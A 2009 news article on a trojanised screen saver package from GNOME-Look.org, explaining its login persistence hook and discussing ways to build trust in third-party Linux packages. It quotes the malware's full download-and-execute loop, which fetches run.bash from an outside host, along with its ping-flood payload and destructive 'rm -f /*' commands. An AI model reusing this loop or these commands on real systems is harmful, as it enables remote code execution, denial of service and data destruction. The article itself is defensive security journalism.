December 23, 2009
This article was contributed by Koen Vervloesem
Linux users like to think that they are not vulnerable to all the evil
that is out there on the internet, but a recent incident showed that they
too should be careful. A screen saver from the popular web site GNOME-Look.org turned out to be malware
that made the user's computer take part in a distributed denial-of-service
attack.
GNOME-Look.org is a website where users can download artwork for the
GNOME Desktop, such as wallpapers, GTK themes, icons, splash screens, and
screen savers. Its motto is "Eyecandy for your
GNOME-Desktop". One week ago, an Ubuntu user
"conorsulli" that had installed a screen saver called
"WaterFall" noticed something strange and posted his
discovery in the Ubuntu forums. The .deb file he had
downloaded didn't install a screen saver but instead some weird files.
First, it
installed a script gnome.sh into /etc/profile.d, meaning
that the script gets executed every time someone logs in (because
/etc/profile executes all scripts it finds in
/etc/profile.d). This script then runs another installed script,
/usr/bin/Auto.bash, which downloads some files from a free web
hosting site at T35 Hosting and installs them locally:
/usr/bin/run.bash and /usr/bin/index.php. The whole
Auto.bash script is:
while :
do
rm /usr/bin/run.bash
cd /usr/bin/
wget http://05748.t35.com/Bots/index.php
wget http://05748.t35.com/Bots/run.bash
sleep 4
rm index.php
chmod 755 run.bash
command -p /usr/bin/run.bash
done
So, Auto.bash downloads index.php (which it strangely
removes before doing anything with it) and run.bash, after which
it executes the latter. Ultimately, the downloaded script run.bash
pings packets of a large size (around 64 kB) to a server, presumably to
mount a distributed denial-of-service attack:
ping -s 65507 www.mmowned.com
The victim, MMOwned, seems to be a
web site dedicated to exploits, hacks, bots, and guides to the massively
multiplayer online game World of Warcraft. However, as the script
run.bash gets downloaded each time the user logs in, it could be
replaced by other, much worse, assignments. Note that the script Auto.bash
uses an infinite loop. Combined with the sleep command, this
effectively downloads and executes a new run.bash every few
seconds, for as long as the user is logged in. This is not very stealthy, as
watching for suspicious network connections with netstat or
suspicious processes with top or ps will likely spot the
problem.
Dangerous payloads
When Ubuntu users visited the URI where the scripts were
hosted to investigate the case, the culprit noticed and explained
his quest:
If your reading this from coming from that ubuntu
forums place, Well done you saw right [through] my "Screensaver" cough cough
wink wink, I can tell you this. Basically after getting some scripts to run
upon start up, It then sets to work downloading another file, This can be
changed on my server so in essence i could do whatever i like on your
computer, But i only really want to [perform] a DOS (denial of service)
attack, For no reason I'm attacking mmowned.com, Just using it as a
test. Hats Off!
And indeed, at one
time the run.bash script contained sudo rm -f /*,
which removes all files (luckily not recursively, because the command lacks
the r flag) in the root directory. To prove his point, the bad guy changed
the payload a few times, for example to:
rm -f /*.*
echo "You see this? It's changed, before it was set to ping?"
Ultimately, conorsulli's discovery led the administrators of
GNOME-Look.org to remove the malicious screen saver from their web
site. The forum thread then listed instructions to remove the malware,
first purge the deb file with:
apt-get --purge remove app5552
then remove the
downloaded files. However, because the
run.bash script is
downloaded from a server every time the user logs in, no one can exclude
the possibility that it did something much more nasty and has hidden a
backdoor. A complete reinstall of Ubuntu is the only safe solution
here. But the bad guy didn't stop and tried to masquerade
the
same attack in the "Ninja Black" theme.
There are still some gaps in our understanding about what the malware
did exactly. Because the .deb file can't be inspected
anymore, it's
hard to fill in those gaps. There appear to be some
problems with the script: for example Auto.bash
runs as a regular user and thus has no write permissions to /usr/bin
(unless that is somehow changed as part of the installation script). So
run.bash couldn't be downloaded and would only be executed
as it was installed from the .deb. The whole construction looks
like it might have been written by a script kiddie, but it's scary to think
about the consequences of
a competent programmer writing such malware.
In ... we trust
Of course it's not hard to come up with the lesson from of all this. One of
the Ubuntu users summarized
it neatly:
The point is that I was dumb enough to think that
Ubuntu was secure enough out here in the Linux wonderland that I love so
much that I ended up on gnome-look downloading everything that looked cool
without examining everything first.
Examining the contents of a deb file is actually simple:
dpkg --contents foo.deb
The offline package installer
Gdebi even shows the included files
in a package before it is installed. Eventually, the
discussion moved into a new thread,
"Social engineering
(trojan) via gnome-look.org", discussing the problem of Linux malware
from a general point of view.
Software in the official repositories of Linux distributions are more or
less trustworthy because most distributions have a policy that requires
that the software be tested. So package managers and the repositories they
use are a trusted source. This is one of the reasons why malware isn't
as common on Linux systems as on Windows, where the user has to install
lots of third-party software from various sources. The problem of course
is: if users trust arbitrary code, then they are vulnerable to all
sorts of security risks. When installing something from outside an official
repository, the user has to do the testing step himself. Needless to say,
many users won't do that. They just want to run the newest
screen savers, themes, and other software to spice up their desktop.
However, there is a genuine need for more software than the official
repositories have. Ubuntu has the PPAs (Personal Package
Archives) for this purpose, but then the user has to trust the PPA
owner. Although there are some requirements for setting up
a PPA, such as signing the Ubuntu code of conduct,
apparently there are no formal requirements or reviews, so in principle
anyone can set up a malicious PPA.
So maybe it's time to think about a more general solution, e.g. with a
GPG-based "web of trust". This can also be implemented in the
form of "trusted PPAs". This way the owner of a PPA can prove
their identity, and users can then download only packages from
someone they trust (or someone trusted by someone they
trust). Incidentally, the roadmap of Ubuntu Software Center shows some
plans in this domain for Ubuntu
10.10: "Establish and convey a trust level for software in PPAs,
and let you easily add PPAs within the Center.", although it doesn't
mention how that trust level would be established. But even when this is
implemented, one must not forget that trust can be misguided. Apparently,
people trusted GNOME-Look.org blindly.
Mandatory version control
Another proposal
came from Amarok developer Mark Kretschmann, who has been thinking about
possible solutions to malware. He doesn't find a review process
practical:
That's a neat idea on paper. But only there. This
couldn't possibly work out, for two reasons: 1) Manpower - We simply don't
have enough of that. 2) Responsibility - Who wants to be responsible for
letting Malware slip through your fingers? This can happen to anyone, and
it would be pretty embarrassing. I certainly wouldn't want to be
responsible for anything.
What he proposes as a first barrier is mandatory version control for all
third-party KDE components, such as Amarok plugins, Plasma applets,
and so on:
With a VCS, it's very easy to tell who inserted
Malware, and when this person did this. This fact alone would provide some
accountability, and I think it might prevent a good deal of attempts of
messing around with the code. And even if it happened anyway, it would be
trivial to revert the change, and we would just ban the person who did this
from ever committing to this repository again.
Requiring that packages come out of project-run VCS doesn't solve all the
problems, but it could help.
However, it does require that the VCS server is adequately secured, as
Joey Hess pointed
out:
"It's easy for anyone with shell access to the svn server to go back
and change someone else's past commit, inserting their malware at that
point without anything pointing to them as the perpetrator."
The year of the Linux desktop?
Some people have jokingly said that this malware incident shows
that we have finally reached the "year of the Linux desktop". There is some
truth
in that, though. Linux, and especially Ubuntu, is attracting more and more new
users. However, many of these users have learned bad habits in the Windows
world, such as downloading eye candy from arbitrary sources. An incident
like the WaterFall malware can only be avoided when users are trained
not to trust third-party software blindly. We also need more technical
measures: mandatory version control might be a first step, but some kind
web of trust
for software could be helpful too. The latter would make trust an explicit
feature in package managers, which may make users think
about how they trust the source before they install a package.
(
Log in to post comments)